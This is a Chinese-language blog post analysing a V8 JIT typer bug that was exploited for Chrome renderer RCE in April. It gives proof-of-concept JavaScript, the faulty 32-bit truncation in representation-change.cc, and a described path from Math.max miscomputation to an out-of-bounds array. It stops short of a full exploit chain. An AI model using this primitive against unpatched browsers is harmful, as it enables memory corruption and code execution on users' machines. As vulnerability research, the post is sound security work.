4月14日@frust93717815又从twitter上爆出来了一个chrome renderer RCE exp,这个漏洞修复的commit是

https://github.com/v8/v8/commit/fd29e246f65a7cee130e72cd10f618f3b82af232#diff-0bd8b88770d3fe0b131f9979e595c813be5d97f0aad10f4a78c40ba488c56b39

,在4月13日更新的chrome 90版本并未修复。

漏洞分析

poc

1
2
3
4
5
6
7
8
9
10
11
function foo(b) {
let x = 0;
if (b) x = -1;
return x == Math.max(-1, x >>> Infinity);
}

print(foo(true));
%PrepareFunctionForOptimization(foo);
print(foo(false));
%OptimizeFunctionOnNextCall(foo);
print(foo(true));

漏洞的根源在于v8为了优化到极致,在SimplifiedLowing phase中如果节点操作数类型是singned32或者unsigned32会把SpeculativeXXX节点转化为TruncateInt64ToInt32节点,对应的代码如下

1
2
3
4
5
6
7
8
/src/compiler/representation-change.cc

...
if (output_type.Is(Type::Signed32()) ||
output_type.Is(Type::Unsigned32())) {
op = machine()->TruncateInt64ToInt32();
}
...

对应生成的节点图及汇编码如下,对应最终生成的movl是mov命令符的32位比较形式,l表示long(32-bit integer or 64-bit floating point)。但是这样的优化会在一定情况下导致typer错误。

image-20210415143446768

漏洞利用

​ 如上给出的poc中经过jit优化后结果本应是false但实际运行却是true,我们可以利用这两者的差异构造一个OOB array。

​ 例如如下代码

1
2
3
4
5
6
7
8
9
10
11
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
return Math.sign(0 - Math.max(0, x, -1));
}

print(foo(true));
%PrepareFunctionForOptimization(foo);
print(foo(false));
%OptimizeFunctionOnNextCall(foo);
print(foo(true));

在SimplifiedLowing phase中SpeculativeSafeIntegerSubtract节点会转化为TruncateInt64ToInt32节点,转化前

image-20210415141653983

转化后

image-20210415141806114

对应生成的汇编使用的操作符是32位操作符movl,导致这里LoadField节点获得的是一个32位长度的值,

image-20210415143809282

即这里jit compler会认为Math.max(0,0xffffffff,-1)等价于Math.max(0,0xffff,-1),导致得到错误的结果0。使用Math.max(0, x, -1)的值做为new Array的长度,再使用array.shift使array.length-1即可得到一个实际长度为0但可访问范围为0xffffffff的OOB array。

总结

​ 已经连续两天有人爆出chrome 的renderer RCE exp了,chrome每次修复漏洞时附加poc的操作看来值得商榷。